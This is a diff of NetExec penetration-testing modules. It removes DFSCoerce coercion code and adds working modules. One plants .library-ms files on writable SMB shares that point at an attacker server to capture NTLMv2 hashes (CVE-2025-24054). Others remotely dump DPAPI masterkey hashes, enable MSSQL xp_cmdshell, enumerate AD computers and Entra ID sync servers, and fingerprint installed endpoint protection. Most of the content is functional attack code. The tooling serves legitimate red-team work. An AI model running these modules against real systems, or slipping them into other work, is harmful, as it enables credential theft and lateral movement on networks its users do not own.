||||
+4
-125
@@ -1,18 +1,11 @@
|
||||
from impacket import system_errors
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL
|
||||
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "dfscoerce"
|
||||
description = "Module to check if the DC is vulnerable to DFSCocerc, credit to @filip_dragovic/@Wh04m1001 and @topotam"
|
||||
description = "[REMOVED] Module to check if the DC is vulnerable to DFSCoerce, credit to @filip_dragovic/@Wh04m1001 and @topotam"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
@@ -26,118 +19,4 @@ class NXCModule:
|
||||
self.listener = module_options["LISTENER"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
trigger = TriggerAuth()
|
||||
dce = trigger.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=connection.host,
|
||||
doKerberos=connection.kerberos,
|
||||
kdcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
)
|
||||
|
||||
if dce is not None:
|
||||
context.log.debug("Target is vulnerable to DFSCoerce")
|
||||
trigger.NetrDfsRemoveStdRoot(dce, self.listener)
|
||||
context.log.highlight("VULNERABLE")
|
||||
context.log.highlight("Next step: https://github.com/Wh04m1001/DFSCoerce")
|
||||
dce.disconnect()
|
||||
|
||||
else:
|
||||
context.log.debug("Target is not vulnerable to DFSCoerce")
|
||||
|
||||
|
||||
class DCERPCSessionError(DCERPCException):
|
||||
def __init__(self, error_string=None, error_code=None, packet=None):
|
||||
DCERPCException.__init__(self, error_string, error_code, packet)
|
||||
|
||||
def __str__(self):
|
||||
key = self.error_code
|
||||
if key in system_errors.ERROR_MESSAGES:
|
||||
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
|
||||
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
|
||||
return f"DFSNM SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
|
||||
else:
|
||||
return f"DFSNM SessionError: unknown error code: 0x{self.error_code:x}"
|
||||
|
||||
|
||||
################################################################################
|
||||
# RPC CALLS
|
||||
################################################################################
|
||||
class NetrDfsRemoveStdRoot(NDRCALL):
|
||||
opnum = 13
|
||||
structure = (
|
||||
("ServerName", WSTR),
|
||||
("RootShare", WSTR),
|
||||
("ApiFlags", DWORD),
|
||||
)
|
||||
|
||||
|
||||
class NetrDfsRemoveStdRootResponse(NDRCALL):
|
||||
structure = (("ErrorCode", ULONG),)
|
||||
|
||||
|
||||
class NetrDfsAddRoot(NDRCALL):
|
||||
opnum = 12
|
||||
structure = (
|
||||
("ServerName", WSTR),
|
||||
("RootShare", WSTR),
|
||||
("Comment", WSTR),
|
||||
("ApiFlags", DWORD),
|
||||
)
|
||||
|
||||
|
||||
class NetrDfsAddRootResponse(NDRCALL):
|
||||
structure = (("ErrorCode", ULONG),)
|
||||
|
||||
|
||||
class TriggerAuth:
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, kdcHost):
|
||||
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
|
||||
rpctransport.setRemoteHost(target)
|
||||
if hasattr(rpctransport, "set_credentials"):
|
||||
rpctransport.set_credentials(
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
aesKey=aesKey,
|
||||
)
|
||||
|
||||
if doKerberos:
|
||||
rpctransport.set_kerberos(doKerberos, kdcHost)
|
||||
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
if doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\netdfs]") % target)
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return None
|
||||
try:
|
||||
dce.bind(uuidtup_to_bin(("4FC742E0-4A10-11CF-8273-00AA004AE673", "3.0")))
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return None
|
||||
nxc_logger.debug("[+] Successfully bound!")
|
||||
return dce
|
||||
|
||||
def NetrDfsRemoveStdRoot(self, dce, listener):
|
||||
nxc_logger.debug("[-] Sending NetrDfsRemoveStdRoot!")
|
||||
try:
|
||||
request = NetrDfsRemoveStdRoot()
|
||||
request["ServerName"] = f"{listener}\x00"
|
||||
request["RootShare"] = "test\x00"
|
||||
request["ApiFlags"] = 1
|
||||
nxc_logger.debug(request.dump())
|
||||
dce.request(request)
|
||||
|
||||
except Exception as e:
|
||||
nxc_logger.debug(e)
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
@@ -0,0 +1,68 @@
|
||||
from impacket.structure import Structure
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @MaxToffy"""
|
||||
name = "dns-nonsecure"
|
||||
description = "Detects DNS zones that allow nonsecure dynamic updates"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
search_bases = {
|
||||
"domain": f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}",
|
||||
"forest": f"CN=MicrosoftDNS,DC=ForestDnsZones,{connection.forestDN}"
|
||||
}
|
||||
|
||||
for dns_type, search_base in search_bases.items():
|
||||
# Search for domain DNS zones
|
||||
resp = connection.search(
|
||||
searchFilter="(objectClass=dnsZone)",
|
||||
attributes=["name", "dNSProperty"],
|
||||
baseDN=search_base,
|
||||
)
|
||||
zones = parse_result_attributes(resp)
|
||||
|
||||
# Get dynamic updates configuration for each zones
|
||||
allows_nonsecure_updates = []
|
||||
for zone in zones:
|
||||
for prop in zone["dNSProperty"]:
|
||||
dns_properties = DNS_PROPERTY(prop)
|
||||
|
||||
# [MS-DNSP] 2.2.5.2.4.1 - DNS_RPC_ZONE_INFO_W2K - fAllowUpdate
|
||||
if dns_properties["Id"] == DSPROPERTY_ZONE_ALLOW_UPDATE and int.from_bytes(dns_properties["Data"]) == ZONE_UPDATE_UNSECURE:
|
||||
allows_nonsecure_updates.append(zone["name"])
|
||||
|
||||
if allows_nonsecure_updates:
|
||||
context.log.success(f"{dns_type.capitalize()} DNS zone(s) allowing nonsecure dynamic updates")
|
||||
for zone in allows_nonsecure_updates:
|
||||
context.log.highlight(zone)
|
||||
else:
|
||||
context.log.fail(f"No {dns_type} DNS zones allowing nonsecure dynamic updates")
|
||||
|
||||
|
||||
# [MS-DNSP] - 2.3.2.1 - dnsProperty
|
||||
class DNS_PROPERTY(Structure):
|
||||
structure = (
|
||||
("DataLength", "<L-Data"),
|
||||
("NameLength", "<L"),
|
||||
("Flag", "<L"),
|
||||
("Version", "<L"),
|
||||
("Id", "<L"),
|
||||
("Data", ":"),
|
||||
("Name", "1s"),
|
||||
)
|
||||
|
||||
|
||||
# [MS-DNSP] - 2.3.2.1.1 - Property Id
|
||||
DSPROPERTY_ZONE_ALLOW_UPDATE = 0x02
|
||||
|
||||
# [MS-DNSP] - 2.2.5.2.4.1 - fAllowUpdate values
|
||||
ZONE_UPDATE_OFF = 0x00000000
|
||||
ZONE_UPDATE_UNSECURE = 0x00000001
|
||||
ZONE_UPDATE_SECURE = 0x00000002
|
||||
@@ -0,0 +1,63 @@
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.masterkeys import MasterkeysTriage
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
# Based on dpapimk2john, original work by @fist0urs
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "dpapi_hash"
|
||||
description = "Remotely dump Dpapi hash based on masterkeys"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""OUTPUTFILE Output file to write hashes"""
|
||||
self.outputfile = None
|
||||
if "OUTPUTFILE" in module_options:
|
||||
self.outputfile = module_options["OUTPUTFILE"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
try:
|
||||
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=target,
|
||||
conn=conn,
|
||||
)
|
||||
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
||||
context.log.debug("Collecting user masterkeys")
|
||||
masterkeys_triage.triage_masterkeys()
|
||||
if self.outputfile is not None:
|
||||
with open(self.outputfile, "a+") as fd:
|
||||
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
|
||||
context.log.highlight(mkhash)
|
||||
fd.write(f"{mkhash}\n")
|
||||
else:
|
||||
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
|
||||
context.log.highlight(mkhash)
|
||||
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not get masterkeys: {e}")
|
||||
@@ -0,0 +1,90 @@
|
||||
import ntpath
|
||||
from nxc.paths import TMP_PATH
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Requested by the issue #652, heavily inspired by drop-sc, scuffy and slinky modules
|
||||
https://research.checkpoint.com/2025/cve-2025-24054-ntlm-exploit-in-the-wild/
|
||||
https://cti.monster/blog/2025/03/18/CVE-2025-24071.html
|
||||
Module by: @XedSama
|
||||
"""
|
||||
name = "drop-library-ms"
|
||||
description = "Creates and uploads an arbitrary .library-ms on writable shares, leveraging CVE-2025-24054 for looting NTLMv2 hash"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.ignore_shares = ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]
|
||||
|
||||
self.server = None
|
||||
self.lms_name = ""
|
||||
self.cleanup = False
|
||||
|
||||
self.local_path = None
|
||||
self.remote_path = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
SERVER Attacker machine
|
||||
NAME File name
|
||||
IGNORE Specific shares to ignore (comma separated, default: C$,ADMIN$,NETLOGON,SYSVOL)
|
||||
CLEANUP Cleaning option (True or False)
|
||||
"""
|
||||
if "SERVER" not in module_options and not self.cleanup:
|
||||
context.log.fail("SERVER option is required")
|
||||
exit(1)
|
||||
|
||||
if "NAME" not in module_options:
|
||||
context.log.fail("NAME option is required!")
|
||||
exit(1)
|
||||
|
||||
if "IGNORE" in module_options:
|
||||
self.ignore_shares = module_options["IGNORE"].split(",")
|
||||
context.log.debug(f"Ignoring shares: {self.ignore_shares}")
|
||||
|
||||
if "CLEANUP" in module_options:
|
||||
self.cleanup = bool(module_options["CLEANUP"])
|
||||
context.log.debug(f"CLEANUP is set to {self.cleanup}")
|
||||
|
||||
self.local_path = f"{TMP_PATH}/{self.lms_name}.library-ms"
|
||||
self.remote_path = ntpath.join("\\", f"{self.lms_name}.library-ms")
|
||||
|
||||
if not self.cleanup:
|
||||
self.server = module_options["SERVER"]
|
||||
with open(self.local_path, "w", encoding="utf-8") as libms:
|
||||
libms.truncate(0)
|
||||
libms.write('<?xml version="1.0" encoding="UTF-8"?>')
|
||||
libms.write('<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">')
|
||||
libms.write("<searchConnectorDescriptionList>")
|
||||
libms.write("<searchConnectorDescription>")
|
||||
libms.write("<simpleLocation>")
|
||||
libms.write(f"<url>\\\\{self.server}\\LIBRARY</url>")
|
||||
libms.write("</simpleLocation>")
|
||||
libms.write("</searchConnectorDescription>")
|
||||
libms.write("</searchConnectorDescriptionList>")
|
||||
libms.write("</libraryDescription>")
|
||||
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if "WRITE" in share["access"] and share["name"] not in self.ignore_shares:
|
||||
context.log.success(f"Found writable share : {share['name']}")
|
||||
|
||||
if self.cleanup:
|
||||
try:
|
||||
connection.conn.deleteFile(share["name"], self.remote_path)
|
||||
context.log.success(f"Deleted .library-ms file on share '{share['name']}'")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting .library-ms file on share '{share['name']}' : {e}")
|
||||
|
||||
else:
|
||||
with open(self.local_path, "rb") as libms:
|
||||
try:
|
||||
connection.conn.putFile(share["name"], self.remote_path, libms.read)
|
||||
context.log.success(f"Created .library-ms file on share '{share['name']}'")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing .library-ms file on share '{share['name']}' : {e}")
|
||||
@@ -1,5 +1,6 @@
|
||||
import ntpath
|
||||
import tempfile
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -12,8 +13,7 @@ class NXCModule:
|
||||
name = "drop-sc"
|
||||
description = "Drop a searchConnector-ms file on each writable share"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = False
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
|
||||
@@ -0,0 +1,71 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "dump-computers"
|
||||
description = "Dumps FQDN and OS of all computers in the domain"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
TYPE Only dump NETBIOS or FQDN instead of 'FQDN (OS Version)'
|
||||
OUTPUT Output to file in addition to printing to console
|
||||
|
||||
Examples
|
||||
--------
|
||||
netexec ldap $DC-IP -u $username -p $password -M dump-computers
|
||||
netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=netbios
|
||||
netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=fqdn
|
||||
netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=netbios OUTPUT=<location>
|
||||
"""
|
||||
self.output_file = None
|
||||
self.netbios_only = False
|
||||
self.fqdn_only = False
|
||||
|
||||
if "OUTPUT" in module_options:
|
||||
self.output_file = module_options["OUTPUT"]
|
||||
if "TYPE" in module_options:
|
||||
if module_options["TYPE"].lower() == "netbios":
|
||||
self.netbios_only = True
|
||||
elif module_options["TYPE"].lower() == "fqdn":
|
||||
self.fqdn_only = True
|
||||
|
||||
def on_login(self, context, connection):
|
||||
resp = connection.search(
|
||||
searchFilter="(objectCategory=computer)",
|
||||
attributes=["dNSHostName", "operatingSystem"]
|
||||
)
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
|
||||
answers = []
|
||||
context.log.debug(f"Total number of records returned: {len(resp_parsed)}")
|
||||
|
||||
for item in resp_parsed:
|
||||
dns_host_name = item.get("dNSHostName")
|
||||
operating_system = item.get("operatingSystem", "Unknown OS")
|
||||
if not dns_host_name:
|
||||
context.log.debug(f"Skipping computer without dNSHostName: {item.get('cn', '<unknown>')}")
|
||||
continue
|
||||
|
||||
if self.netbios_only:
|
||||
netbios_name = dns_host_name.split(".")[0]
|
||||
answer = netbios_name
|
||||
elif self.fqdn_only:
|
||||
answer = dns_host_name
|
||||
else:
|
||||
answer = f"{dns_host_name} ({operating_system})"
|
||||
answers.append(answer)
|
||||
|
||||
context.log.success("Found the following computers:")
|
||||
for answer in answers:
|
||||
context.log.highlight(answer)
|
||||
|
||||
if self.output_file:
|
||||
try:
|
||||
with open(self.output_file, "w") as f:
|
||||
f.write("\n".join(answers) + "\n")
|
||||
context.log.success(f"Results saved to {self.output_file}")
|
||||
except Exception as e:
|
||||
context.log.error(f"Failed to write to file {self.output_file}: {e}")
|
||||
@@ -0,0 +1,20 @@
|
||||
from nxc.context import Context
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "efsr_spray"
|
||||
description = "[REMOVED] Tries to activate the EFSR service by creating a file with the encryption attribute on some available share."
|
||||
supported_protocols = ["smb"]
|
||||
excluded_shares = ["SYSVOL"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context: Context, module_options: dict[str, str]):
|
||||
"""
|
||||
FILE_NAME Name of the file which will be tried to create and afterwards delete
|
||||
SHARE_NAME If set, ONLY this share will be used
|
||||
EXCLUDED_SHARES List of share names which will not be used, seperated by comma
|
||||
"""
|
||||
|
||||
def on_login(self, context: Context, connection):
|
||||
context.log.fail('[REMOVED] This module has been made obsolete and EFS will be activated automatically by "coerce_plus"')
|
||||
@@ -1,6 +1,7 @@
|
||||
import sys
|
||||
import requests
|
||||
from requests import ConnectionError
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -12,8 +13,7 @@ class NXCModule:
|
||||
name = "empire_exec"
|
||||
description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
|
||||
supported_protocols = ["smb", "mssql"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -33,7 +33,7 @@ class NXCModule:
|
||||
obfuscate = "OBFUSCATE" in module_options
|
||||
# we can use commands instead of backslashes - this is because Linux and OSX treat them differently
|
||||
default_obfuscation = "Token,All,1"
|
||||
obfuscate_cmd = module_options["OBFUSCATE_CMD"] if "OBFUSCATE_CMD" in module_options else default_obfuscation
|
||||
obfuscate_cmd = module_options.get("OBFUSCATE_CMD", default_obfuscation)
|
||||
context.log.debug(f"Obfuscate: {obfuscate} - Obfuscate_cmd: {obfuscate_cmd}")
|
||||
|
||||
# Pull the host and port from the config file
|
||||
|
||||
@@ -0,0 +1,80 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Enables or disables xp_cmdshell in MSSQL Server.
|
||||
Module by crosscutsaw
|
||||
"""
|
||||
|
||||
name = "enable_cmdshell"
|
||||
description = "Enable or disable xp_cmdshell in MSSQL Server"
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
self.context = None
|
||||
self.action = None
|
||||
self.advanced_options_backup = None # Stores original value of 'show advanced options'
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
ACTION enable or disable xp_cmdshell
|
||||
|
||||
Examples
|
||||
--------
|
||||
netexec mssql $TARGET -u $username -p $password -M enable_cmdshell -o ACTION=enable
|
||||
netexec mssql $TARGET -u $username -p $password -M enable_cmdshell -o ACTION=disable
|
||||
"""
|
||||
if "ACTION" in module_options:
|
||||
self.action = module_options["ACTION"].lower()
|
||||
else:
|
||||
context.log.fail("Missing required option: ACTION (enable/disable)")
|
||||
exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
|
||||
if self.action == "enable":
|
||||
self.toggle_xp_cmdshell(enable=True)
|
||||
elif self.action == "disable":
|
||||
self.toggle_xp_cmdshell(enable=False)
|
||||
else:
|
||||
self.context.log.fail("Invalid ACTION. Use 'enable' or 'disable'.")
|
||||
|
||||
def backup_show_advanced_options(self):
|
||||
"""Backs up the current state of 'show advanced options'."""
|
||||
res = self.mssql_conn.sql_query("SELECT CAST(value AS INT) AS value FROM sys.configurations WHERE name = 'show advanced options'")
|
||||
if res:
|
||||
self.advanced_options_backup = int(res[0]["value"]) # Convert to integer
|
||||
|
||||
def restore_show_advanced_options(self):
|
||||
"""Restores the original state of 'show advanced options' if needed."""
|
||||
if self.advanced_options_backup is not None and self.advanced_options_backup == 0:
|
||||
self.mssql_conn.sql_query("EXEC sp_configure 'show advanced options', '0'; RECONFIGURE;")
|
||||
|
||||
def toggle_xp_cmdshell(self, enable: bool):
|
||||
"""Enables or disables xp_cmdshell while preserving 'show advanced options' state."""
|
||||
state = "1" if enable else "0"
|
||||
action_text = "enabled" if enable else "disabled"
|
||||
|
||||
# Backup 'show advanced options' state
|
||||
self.backup_show_advanced_options()
|
||||
|
||||
# Enable 'show advanced options' if it was disabled
|
||||
self.mssql_conn.sql_query("EXEC sp_configure 'show advanced options', '1'; RECONFIGURE;")
|
||||
|
||||
try:
|
||||
# Enable or disable xp_cmdshell
|
||||
self.mssql_conn.sql_query(f"EXEC sp_configure 'xp_cmdshell', '{state}'; RECONFIGURE;")
|
||||
if self.mssql_conn.lastError:
|
||||
self.context.log.fail(f"Failed to {action_text[:-1]} xp_cmdshell: {self.mssql_conn.lastError}")
|
||||
else:
|
||||
self.context.log.success(f"xp_cmdshell successfully {action_text}.")
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to execute command: {e}")
|
||||
|
||||
# Restore 'show advanced options' to its original state if needed
|
||||
self.restore_show_advanced_options()
|
||||
@@ -0,0 +1,83 @@
|
||||
|
||||
import re
|
||||
|
||||
from termcolor import colored
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.config import host_info_colors
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @NeffIsBack"""
|
||||
|
||||
name = "entra-id"
|
||||
description = "Find the Entra ID sync server"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available."""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
|
||||
# For every Entra ID syncronization server, there is a corresponding MSOL_ account and likely an ADSyncMSA service account.
|
||||
msol_parsed = parse_result_attributes(connection.search(
|
||||
searchFilter="(sAMAccountName=MSOL_*)",
|
||||
attributes=["sAMAccountName", "cn", "description"],
|
||||
))
|
||||
self.context.log.info(f"Found the following MSOL accounts: {msol_parsed}")
|
||||
adsync_parsed = parse_result_attributes(connection.search(
|
||||
searchFilter="(sAMAccountName=ADSyncMSA*)",
|
||||
attributes=["sAMAccountName", "cn", "msDS-HostServiceAccountBL"],
|
||||
))
|
||||
self.context.log.info(f"Found the following ADSyncMSA accounts: {adsync_parsed}")
|
||||
|
||||
hosts = []
|
||||
for acc in msol_parsed:
|
||||
host = re.search(r"computer (?P<host>.*) configured", acc["description"])
|
||||
if host:
|
||||
hostname = host.group("host")
|
||||
# Try to get the dNSHostName for the host, if not use the NetBIOS name from the description
|
||||
resp = parse_result_attributes(connection.search(f"(sAMAccountName={hostname}$)", ["dNSHostName"]))
|
||||
ip = connection.resolver(resp[0]["dNSHostName"] if resp else hostname)
|
||||
|
||||
hosts.append({
|
||||
"hostname": hostname,
|
||||
"ip": ip,
|
||||
"msol_account": acc["sAMAccountName"],
|
||||
})
|
||||
|
||||
for adsync in adsync_parsed:
|
||||
# The last 5 chars of the ADSyncMSA account name are the identifier for the corresponding MSOL account
|
||||
identifier = str(adsync["cn"]).removeprefix("ADSyncMSA")
|
||||
msol_acc = next((x for x in msol_parsed if str(x["sAMAccountName"]).startswith(f"MSOL_{identifier}")), None)
|
||||
self.context.log.debug(f"Found ADSyncMSA account: {adsync['sAMAccountName']}, corresponding MSOL account: {msol_acc['sAMAccountName'] if msol_acc else 'None'}")
|
||||
|
||||
# Get the computer object for the ADSyncMSA service account
|
||||
computer = parse_result_attributes(connection.search(
|
||||
searchFilter=f"(distinguishedName={adsync['msDS-HostServiceAccountBL']})",
|
||||
attributes=["dNSHostName", "cn", "sAMAccountName"],
|
||||
))[0]
|
||||
|
||||
# If we already found a host with its MSOL account, extend that info, otherwise create a new host entry
|
||||
host = next((x for x in hosts if x["hostname"] == computer["cn"]), None)
|
||||
if host and host["ip"]: # Skip if host and IP are already set
|
||||
self.context.log.debug(f"Host '{host['hostname']}' already exists with IP {host['ip'].get('host')}, skipping update.")
|
||||
continue
|
||||
elif host: # If host exists but IP is not set, update it
|
||||
host["ip"] = connection.resolver(computer["dNSHostName"])
|
||||
else: # If host does not exist, create a new entry
|
||||
hosts.append({
|
||||
"hostname": computer["cn"],
|
||||
"ip": connection.resolver(computer["dNSHostName"]),
|
||||
})
|
||||
|
||||
if hosts:
|
||||
self.context.log.success("Found Entra ID sync servers:")
|
||||
for host in hosts:
|
||||
self.context.log.highlight(f"{host['hostname']}: {colored(host['ip'].get('host', '<not found>'), host_info_colors[0])}" + colored(f" (MSOL Account: {host.get('msol_account', 'N/A')})", "yellow", attrs=["bold"]))
|
||||
+108
-7
@@ -7,6 +7,7 @@ from impacket.dcerpc.v5 import lsat, lsad, transport
|
||||
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
import pathlib
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -18,8 +19,7 @@ class NXCModule:
|
||||
name = "enum_av"
|
||||
description = "Gathers information on all endpoint protection solutions installed on the the remote host(s) via LsarLookupNames (no privilege needed)"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
@@ -84,10 +84,7 @@ class NXCModule:
|
||||
prod_results = results.setdefault(product["name"], {})
|
||||
prod_results.setdefault("pipes", []).append(pipe)
|
||||
except Exception as e:
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
context.log.fail("Error STATUS_ACCESS_DENIED while enumerating pipes, probably due to using SMBv1")
|
||||
else:
|
||||
context.log.fail(str(e))
|
||||
context.log.fail(str(e))
|
||||
|
||||
def dump_results(self, results, context):
|
||||
if not results:
|
||||
@@ -267,6 +264,17 @@ conf = {
|
||||
{"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Check Point Endpoint Security",
|
||||
"services": [
|
||||
{"name": "CPDA", "description": "Check Point Endpoint Agent"},
|
||||
{"name": "vsmon", "description": "Check Point Endpoint Security Network Protection"},
|
||||
{"name": "CPFileAnlyz", "description": "Check Point Endpoint Security File Analyzer"},
|
||||
{"name": "EPClientUIService", "description": "Check Point Endpoint Security Client UI"}
|
||||
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "ESET",
|
||||
"services": [
|
||||
@@ -281,6 +289,24 @@ conf = {
|
||||
],
|
||||
"pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
|
||||
},
|
||||
{
|
||||
"name": "FortiClient",
|
||||
"services": [
|
||||
{"name": "FA_Scheduler", "description": "FortiClient Service Scheduler"},
|
||||
{"name": "FCT_SecSvr", "description": "Forticlient Endpoint Protected Process Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "FortiClient_DBLogDaemon", "processes": ["FCDBLog.exe"]},
|
||||
{"name": "FC_*", "processes": ["FortiTray.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "FortiEDR",
|
||||
"services": [
|
||||
{"name": "FortiEDR Collector Service", "description": "Host component of the Fortinet Endpoint Detection and Response Platform"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "G DATA Security Client",
|
||||
"services": [
|
||||
@@ -292,6 +318,25 @@ conf = {
|
||||
{"name": "exploitProtectionIPC", "processes": ["AVKWCtlx64.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Ivanti Security",
|
||||
"services": [
|
||||
{"name": "STAgent$Shavlik Protect", "description": "Ivanti Security Controls Agent"},
|
||||
{"name": "STDispatch$Shavlik Protect", "description": "Ivanti Security Controls Agent Dispatcher"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
